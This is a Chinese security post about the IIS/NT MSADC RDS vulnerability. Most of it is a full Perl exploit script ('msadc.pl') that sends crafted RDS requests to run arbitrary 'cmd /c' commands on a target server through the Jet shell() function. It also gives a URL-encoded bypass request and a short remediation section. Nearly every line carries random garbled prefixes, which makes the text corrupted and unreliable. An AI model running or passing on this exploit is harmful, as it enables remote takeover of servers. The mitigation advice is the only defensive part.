IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
4l*&3Ar cPbz7 涉及程序：
ZS+2.)A Microsoft NT server
q|l|gY1g) ^bG!k]U!2 描述：
+ 9X[gef8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
)3 AT=b i@*
^]' 详细：
9& j] 如果你没有时间读详细内容的话，就删除:
[oj"Tn( c:\Program Files\Common Files\System\Msadc\msadcs.dll
SXEiyy[7v 有关的安全问题就没有了。
ht |r+v- >`:+d'Jv0 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
66*o2D\Q*G PwW @I~@> 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
'gGB-=yvbO 关于利用ODBC远程漏洞的描述，请参看:
bv/b<N@4?$ wO#+8js http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm KB = z{g ]YP?bP,: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
'}u31V"SS http://www.microsoft.com/security/bulletins/MS99-025faq.asp Pa}vmn1$ )VT/kIq-U 这里不再论述。
{/<& (=j!P* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
w ^gh&E pQNFH)=nw /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
o__q)"^~- 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
L
~w=O! R=PzR;8 ^ne8~
;Q #将下面这段保存为txt文件，然后: "perl -x 文件名"
7,TWCVap M lFvDy #!perl
jG n^<T\ #
n lW&(cH # MSADC/RDS 'usage' (aka exploit) script
0, /x# #
3U)8P6Fz # by rain.forest.puppy
e`r;`a& #
{P&^E rx # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
J~q+ G # beta test and find errors!
dI-5% Um 37xxVbik use Socket; use Getopt::Std;
kg@h R} getopts("e:vd:h:XR", \%args);
[Jo TWouNU {%{GZ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cAS_?"V
a 0K ?(xB if (!defined $args{h} && !defined $args{R}) {
sFK<:ka print qq~
D Oe KW Usage: msadc.pl -h <host> { -d <delay> -X -v }
\]xYV}(FO -h <host> = host you want to scan (ip or domain)
h>:RCpC -d <seconds> = delay between calls, default 1 second
"z bE -X = dump Index Server path table, if available
5>)jNtZ -v = verbose
/ JB4 #i7 -e = external dictionary file for step 5
]'(7T# r zDJH:W{2 Or a -R will resume a command session
4& e@> ?LI9F7n ~; exit;}
N_D+d4@ 2(Uz9!< V $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2 -aYqMmT; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
sv"mba.J if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
I })t if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
) 1N nn $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Jr)`shJ" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Q/)o k$A& f)Q]{ cb6 if (!defined $args{R}){ $ret = &has_msadc;
r z{ 'X d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?(yFwR,( |+- i'N 9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
RWCS
u$ . "cmd /c ";
&pjV4m|j< $in=<STDIN>; chomp $in;
~aAJn IO $command="cmd /c " . $in ;
Y,b tL'[W f<Tz#w&6W if (defined $args{R}) {&load; exit;}
a
+yI2 s4Z !m( L0YH print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
I^(#\vRW &try_btcustmr;
Aq%^>YAp @T1+b"TC print "\nStep 2: Trying to make our own DSN...";
Z&jb,eh2 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
'-33iG ?i2Wst print "\nStep 3: Trying known DSNs...";
wg<|@z5 &known_dsn;
m,C,<I|'d E5G"QnxR>N print "\nStep 4: Trying known .mdbs...";
vUe
* &known_mdb;
FK# E7
K H~ n~5 sF" if (defined $args{e}){
D1 ~ x print "\nStep 5: Trying dictionary of DSN names...";
aGb.
Lh9 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
< iI6@X> ++DQS9b{ print "Sorry Charley...maybe next time?\n";
f~ nt!$ exit;
zK4
8vo cu aNAJ ##############################################################################
,Bw )n, W#I:j: p sub sendraw { # ripped and modded from whisker
,M.! z@ sleep($delay); # it's a DoS on the server! At least on mine...
qlITQKGG my ($pstr)=@_;
<3=qLm socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
NLZZMr die("Socket problems\n");
DnsP7k.8T if(connect(S,pack "SnA4x8",2,80,$target)){
-{U>}
Y) select(S); $|=1;
W^.-C print $pstr; my @in=<S>;
^7 bf8 ^` select(STDOUT); close(S);
)nHE$gVM
s return @in;
Wk#h ,p3 } else { die("Can't connect...\n"); }}
E8_Le R{uJczu ##############################################################################
t tFY
_F~S q%k( M[ sub make_header { # make the HTTP request
a`b zFu{ my $msadc=<<EOT
RE
$3| z POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8+
F}`lLA User-Agent: ACTIVEDATA
D`:d'ow~KQ Host: $ip
uO@3vY',n Content-Length: $clen
br;H8-
Connection: Keep-Alive
()M@3={R b >= Wq ADCClientVersion:01.06
>q@ Sd Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
MiH}VfI AXP`,H --!ADM!ROX!YOUR!WORLD!
7X{bB Content-Type: application/x-varg
bLEATT[ Content-Length: $reqlen
BCUt`;q ]B BBR" HMa4 EOT
,ah*!Zm.kk ; $msadc=~s/\n/\r\n/g;
fA_%8CjI return $msadc;}
= Y /fF .^~ l_ LkA ##############################################################################
u}}9j&^Xa Z%5nVsm:G sub make_req { # make the RDS request
0GX10*t. my ($switch, $p1, $p2)=@_;
4s~HfxYT my $req=""; my $t1, $t2, $query, $dsn;
#CA%]*l*F >$naTSJq if ($switch==1){ # this is the btcustmr.mdb query
4[#6<Ixf $query="Select * from Customers where City=" . make_shell();
p/k<wCm6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
poQdI?ed, $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
F|?+>c1} /pN'K 5@ elsif ($switch==2){ # this is general make table query
a We Bav}_ $query="create table AZZ (B int, C varchar(10))";
~z
K@pFeH $dsn="$p1";}
ihiuSF<NaQ twtkH~`"Q elsif ($switch==3){ # this is general exploit table query
Bhu@ 2KdA $query="select * from AZZ where C=" . make_shell();
u-QO>3oY6 $dsn="$p1";}
'ZC}9=_g B3 dA%\' elsif ($switch==4){ # attempt to hork file info from index server
[ .j]V-61 $query="select path from scope()";
#PslrA.
E $dsn="Provider=MSIDXS;";}
nx-1* 7"F|6JP"$c elsif ($switch==5){ # bad query
@q+cm JKv $query="select";
j&dx[4|m:h $dsn="$p1";}
vS$oT]-hKE &{zwM |Q@? $t1= make_unicode($query);
&I RA=nJ $t2= make_unicode($dsn);
ZUXse1, $req = "\x02\x00\x03\x00";
s~LZOPN $req.= "\x08\x00" . pack ("S1", length($t1));
Z .bit_( $req.= "\x00\x00" . $t1 ;
>v1 y 0zx $req.= "\x08\x00" . pack ("S1", length($t2));
}KA-t}8 $req.= "\x00\x00" . $t2 ;
T)(e !Xz $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@P_C%}(< return $req;}
Any Zi' ]l=O%Ev ##############################################################################
eu}Fd@ GO B;GxfYj sub make_shell { # this makes the shell() statement
L1 9 MP return "'|shell(\"$command\")|'";}
x2C/L =t 3vbV ##############################################################################
N.0HfYf Ht|",1yr+ sub make_unicode { # quick little function to convert to unicode
$N;"}G z my ($in)=@_; my $out;
>*`>0Q4y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
?ds f@\ return $out;}
3 >Q@r>c Km)X_}| ##############################################################################
x d^&_P$= q%-&[%l sub rdo_success { # checks for RDO return success (this is kludge)
.Vo"A uC} my (@in) = @_; my $base=content_start(@in);
vuR5}/Ev if($in[$base]=~/multipart\/mixed/){
MSZ!W(7,< return 1 if( $in[$base+10]=~/^\x09\x00/ );}
jCTy:q] return 0;}
As@ihB+(\ b/s OfQ ##############################################################################
Ecxj9h,S {sC@N![ sub make_dsn { # this makes a DSN for us
T-9k <,>? my @drives=("c","d","e","f");
|N:MZ#}; print "\nMaking DSN: ";
dD/t_ {h foreach $drive (@drives) {
PwW^y#96 print "$drive: ";
sDLS*467 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:1aL9 fT "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%K h2E2Pe . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A\".t=+7
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;Z ]<S_#- return 0 if $2 eq "404"; # not found/doesn't exist
Fn:.Y8%- if($2 eq "200") {
VQ`,#`wV foreach $line (@results) {
&/](HLd F return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
iV?` i } return 0;}
J` w]}GlH T3PX gL)o ##############################################################################
^|wT_ k\ 2GSgG.%SSM sub verify_exists {
k)`$%[K8 my ($page)=@_;
!0Idp% my @results=sendraw("GET $page HTTP/1.0\n\n");
HE Bqv+bG return $results[0];}
Z)mX,=p v9%nau4 ##############################################################################
yp=|7 dgS4w@)@V; sub try_btcustmr {
)xB$LJM8 my @drives=("c","d","e","f");
dh&W; zs my @dirs=("winnt","winnt35","winnt351","win","windows");
2m_'z 1"}B]5! foreach $dir (@dirs) {
br0u@G print "$dir -> "; # fun status so you can see progress
p? Ed-
S foreach $drive (@drives) {
sFLcOPj -% print "$drive: "; # ditto
B?SNea,I4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
k}D[Hp:m $reqlenlen=length( "$reqlen" );
_yj1:TtCNT $clen= 206 + $reqlenlen + $reqlen;
4,2(nYF BwC<rOU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|*:tyP%m^ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
5k69F else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
RCI4~q aH%ZetLNJ ##############################################################################
E;6~R M: !:(C"}5wM sub odbc_error {
np\s t7&f6 my (@in)=@_; my $base;
d CE\^q[{ my $base = content_start(@in);
7))\'\
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>;)2NrJV $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h$70H ^r $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9b1?W?" $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Bi e?M return $in[$base+4].$in[$base+5].$in[$base+6];}
##H;Yb print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Y}ng_c print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
e
RA7 i $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Pg/T^ n& N3 1?9GE ##############################################################################
b Fg*l$`5 q xfLfgu^ sub verbose {
~n
WsP}`n my ($in)=@_;
YG4WS | return if !$verbose;
Y
%K~ w print STDOUT "\n$in\n";}
R'SBd}1 ,eDD:#)$} ##############################################################################
R :"+ #Sq Z!= L sub save {
;)?( 2
wP my ($p1, $p2, $p3, $p4)=@_;
AH^e]<2- open(OUT, ">rds.save") || print "Problem saving parameters...\n";
dIk' p A^d print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
B/mYoK close OUT;}
/ |GT\X4o KbAR_T1n ##############################################################################
MM#i t= u mzGjRl=O sub load {
1?( c mXj my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*(G& B\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ahA{B1M)n @p=<IN>; close(IN);
7{ pIPmJ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
7rcA[)<' $target= inet_aton($ip) || die("inet_aton problems");
^ Hg/P8q print "Resuming to $ip ...";
JWWYVl VC $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\Pbv N\L if($p[1]==1) {
3?2<W EYr $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
?q _^Rj$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
zG#wu my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Q&xjF@I if (rdo_success(@results)){print "Success!\n";}
mQ}Gh_'ps else { print "failed\n"; verbose(odbc_error(@results));}}
kn}z g SO elsif ($p[1]==3){
{) xWD% if(run_query("$p[3]")){
w? *z^y@ print "Success!\n";} else { print "failed\n"; }}
w$j{Hp6m elsif ($p[1]==4){
DzC Df@TB" if(run_query($drvst . "$p[3]")){
II;Te7~ print "Success!\n"; } else { print "failed\n"; }}
~.Cv
DJy exit;}
@RG DhwS47 o)&" Rf ##############################################################################
GRT] aw 3pSj kS|?> sub create_table {
8Atq, GcG my ($in)=@_;
jH>8bXQqZ $reqlen=length( make_req(2,$in,"") ) - 28;
&v kjmiAS $reqlenlen=length( "$reqlen" );
;L~p|sF $clen= 206 + $reqlenlen + $reqlen;
}3Y
<$YL"R my @results=sendraw(make_header() . make_req(2,$in,""));
537?9 return 1 if rdo_success(@results);
r<c #nD~K my $temp= odbc_error(@results); verbose($temp);
: "<e0wDu[ return 1 if $temp=~/Table 'AZZ' already exists/;
X&a:g return 0;}
M+poB+K. <~{du ?4n ##############################################################################
*%\mZ,s" 5qbq ,#Pf sub known_dsn {
jvHFFSK # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
uvnI>gv my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
r|GY]9 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
S8" f]5s "banner", "banners", "ads", "ADCDemo", "ADCTest");
zrRFn ` B *}cSE|S% foreach $dSn (@dsns) {
#f{lC0~vA print ".";
:+ Jt^
6 next if (!is_access("DSN=$dSn"));
0(y:$ if(create_table("DSN=$dSn")){
{\G `]r-cM print "$dSn successful\n";
+;Cr];b3 if(run_query("DSN=$dSn")){
#DFp[\)1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~$<UE }qp print "Something's borked. Use verbose next time\n";}}} print "\n";}
CqFeF?xd8h uSN"vpc4D ##############################################################################
Nxk(me c" 4w4 ^yQE sub is_access {
+
P7o4]:/ my ($in)=@_;
c.%.\al8oW $reqlen=length( make_req(5,$in,"") ) - 28;
XF*.Jg] $reqlenlen=length( "$reqlen" );
M;jcUX_ { $clen= 206 + $reqlenlen + $reqlen;
KjYAdia:H my @results=sendraw(make_header() . make_req(5,$in,""));
;3"@g]e my $temp= odbc_error(@results);
VUtXx vH verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<T+!V-Pj* return 0;}
&!L:"] =+ P4k;O?y ##############################################################################
#.._c?%4/ Y$<D9f s3 sub run_query {
pKT2 ^Q}-h my ($in)=@_;
y('k`>C $reqlen=length( make_req(3,$in,"") ) - 28;
RWKH%C[Yd $reqlenlen=length( "$reqlen" );
6na^]t~ncm $clen= 206 + $reqlenlen + $reqlen;
TL0[@rr4 my @results=sendraw(make_header() . make_req(3,$in,""));
Ws I>n return 1 if rdo_success(@results);
R)5n 8 my $temp= odbc_error(@results); verbose($temp);
!GwL ,)0@^ return 0;}
epg#HNP7^Y J !HjeZ ##############################################################################
g(Yb^'X/ ,Na^%A@TJ sub known_mdb {
i"r!w|j my @drives=("c","d","e","f","g");
65TfFcQ<S my @dirs=("winnt","winnt35","winnt351","win","windows");
UZ2TqR my $dir, $drive, $mdb;
M Hi8E9_O my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
DM{ 4@*] ,"\@fwy{ # this is sparse, because I don't know of many
lv%9MW0
z my @sysmdbs=( "\\catroot\\icatalog.mdb",
-!e7L >w "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
s?rBE.g@} "\\system32\\certmdb.mdb",
mr:CuqJ
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Bv6 K$4 By)u-)g9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
5/MKzoB "\\cfusion\\cfapps\\forums\\forums_.mdb",
fv!?Ga( "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
-/P \"c "\\cfusion\\cfapps\\security\\realm_.mdb",
.}B(&*9,v "\\cfusion\\cfapps\\security\\data\\realm.mdb",
0bS|fMgc "\\cfusion\\database\\cfexamples.mdb",
:A 1: "\\cfusion\\database\\cfsnippets.mdb",
-0C@hM,wm "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
@-&MA)SN "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
T-_"|-k}P% "\\cfusion\\brighttiger\\database\\cleam.mdb",
=(HeF.! "\\cfusion\\database\\smpolicy.mdb",
3Ot~!AlR "\\cfusion\\database\cypress.mdb",
RY 9V~8|M "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
c{3wk7 "\\website\\cgi-win\\dbsample.mdb",
E"~2./+rd "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/Ncm^b4 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9X$ma/P[ ); #these are just
a<~77~"4wn foreach $drive (@drives) {
eHiy,IN foreach $dir (@dirs){
47K1$3P foreach $mdb (@sysmdbs) {
tDg}Ys=4K> print ".";
) 2I H
5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
c!K]J print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
*Hz^K0:8( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
f+_h !j print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Z?5V4F:f } else { print "Something's borked. Use verbose next time\n"; }}}}}
J aTp} # 457\& foreach $drive (@drives) {
` Ag{) foreach $mdb (@mdbs) {
n+;6=1d7ZW print ".";
'Ft0Ry<OL if(create_table($drv . $drive . $dir . $mdb)){
vw,rF`L jZ print "\n" . $drive . $dir . $mdb . " successful\n";
p Z: F:
if(run_query($drv . $drive . $dir . $mdb)){
TS 2ZF {m print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}7E^ZZ]f } else { print "Something's borked. Use verbose next time\n"; }}}}
4d b(<h }
*z*uEcitW c2t=_aAIPQ ##############################################################################
j>-gO,v, y 4%nE*H% sub hork_idx {
myl+J;,] print "\nAttempting to dump Index Server tables...\n";
+Z M) bbB print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Qv,"($n\ $reqlen=length( make_req(4,"","") ) - 28;
i.D3'l $reqlenlen=length( "$reqlen" );
aI^/X {d $clen= 206 + $reqlenlen + $reqlen;
}G4 z tiuG my @results=sendraw2(make_header() . make_req(4,"",""));
*t[. =_v if (rdo_success(@results)){
E :9"cxx my $max=@results; my $c; my %d;
#S&Tkip]"W for($c=19; $c<$max; $c++){
/DQaGq/Ld $results[$c]=~s/\x00//g;
2'EUy@0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
CHrFM@CM $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
,(8;y=wux $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
( +pLA"xq $d{"$1$2"}="";}
n!p<A .O7@ foreach $c (keys %d){ print "$c\n"; }
&0 >Loja`^ } else {print "Index server doesn't seem to be installed.\n"; }}
R }^~^# ?qCK7 $ j ##############################################################################
pn.wud}R MjlP+; ! sub dsn_dict {
$YN6<5R) open(IN, "<$args{e}") || die("Can't open external dictionary\n");
),G= s Oo while(<IN>){
#wL $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
'EDda next if (!is_access("DSN=$dSn"));
h$4Hw+Yxs] if(create_table("DSN=$dSn")){
h%}/Cmx[ print "$dSn successful\n";
A) ; if(run_query("DSN=$dSn")){
s l]_M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R"
;x vo* print "Something's borked. Use verbose next time\n";}}}
n a9sm print "\n"; close(IN);}
}:X*7 n(& LaQ-=;( ` ##############################################################################
Hemq +]6^ 5R(/Uiv 3F sub sendraw2 { # ripped and modded from whisker
\,u_7y2 c sleep($delay); # it's a DoS on the server! At least on mine...
sZx/Ee my ($pstr)=@_;
At-U2a#J{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$ s9Vrw0Z die("Socket problems\n");
{r@Ty*W}
L if(connect(S,pack "SnA4x8",2,80,$target)){
gw, UQbnu print "Connected. Getting data";
ma"3qGy open(OUT,">raw.out"); my @in;
kS bu]AB select(S); $|=1; print $pstr;
emCM\|NQg& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ek#O3O z close(OUT); select(STDOUT); close(S); return @in;
/YZr~|65 } else { die("Can't connect...\n"); }}
xuq v 6b. a)wJT`xu ##############################################################################
NR` C(^} {zMU#=EC sub content_start { # this will take in the server headers
"?V0$-DR my (@in)=@_; my $c;
|&RU/ a for ($c=1;$c<500;$c++) {
N<~t3/Nm if($in[$c] =~/^\x0d\x0a/){
28 ?\ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Q_[ 3`j l else { return $c+1; }}}
O^oWG&Y;v return -1;} # it should never get here actually
^s|6vd;PD= Pi]19boM. ##############################################################################
xai*CY@cQ _f$^%?^ sub funky {
a!=D [Gz*5 my (@in)=@_; my $error=odbc_error(@in);
BO ;6
u^[ if($error=~/ADO could not find the specified provider/){
;7} VBkH print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Zl^\Q=*s exit;}
KET2Ws[w if($error=~/A Handler is required/){
r>o63Q: print "\nServer has custom handler filters (they most likely are patched)\n";
D)L+7N0D~ exit;}
DGS $Ukz&T if($error=~/specified Handler has denied Access/){
\Wxuk YH print "\nServer has custom handler filters (they most likely are patched)\n";
L7dd(^ exit;}}
0cj> mj1M e
9;~P} ##############################################################################
! @}wDt I}1NB3>^ sub has_msadc {
wOU_*uY@6' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ML|FQ my $base=content_start(@results);
02 c ':a=7 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
RZXjgddL return 0;}
\G* 0"%!U =A LTUV3/q ########################
bbE!qk;hEP ?l9XAW t\ 17%Mw@+ 解决方案：
P G qQ@6B 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Gefne[ 2、移除web 目录: /msadc
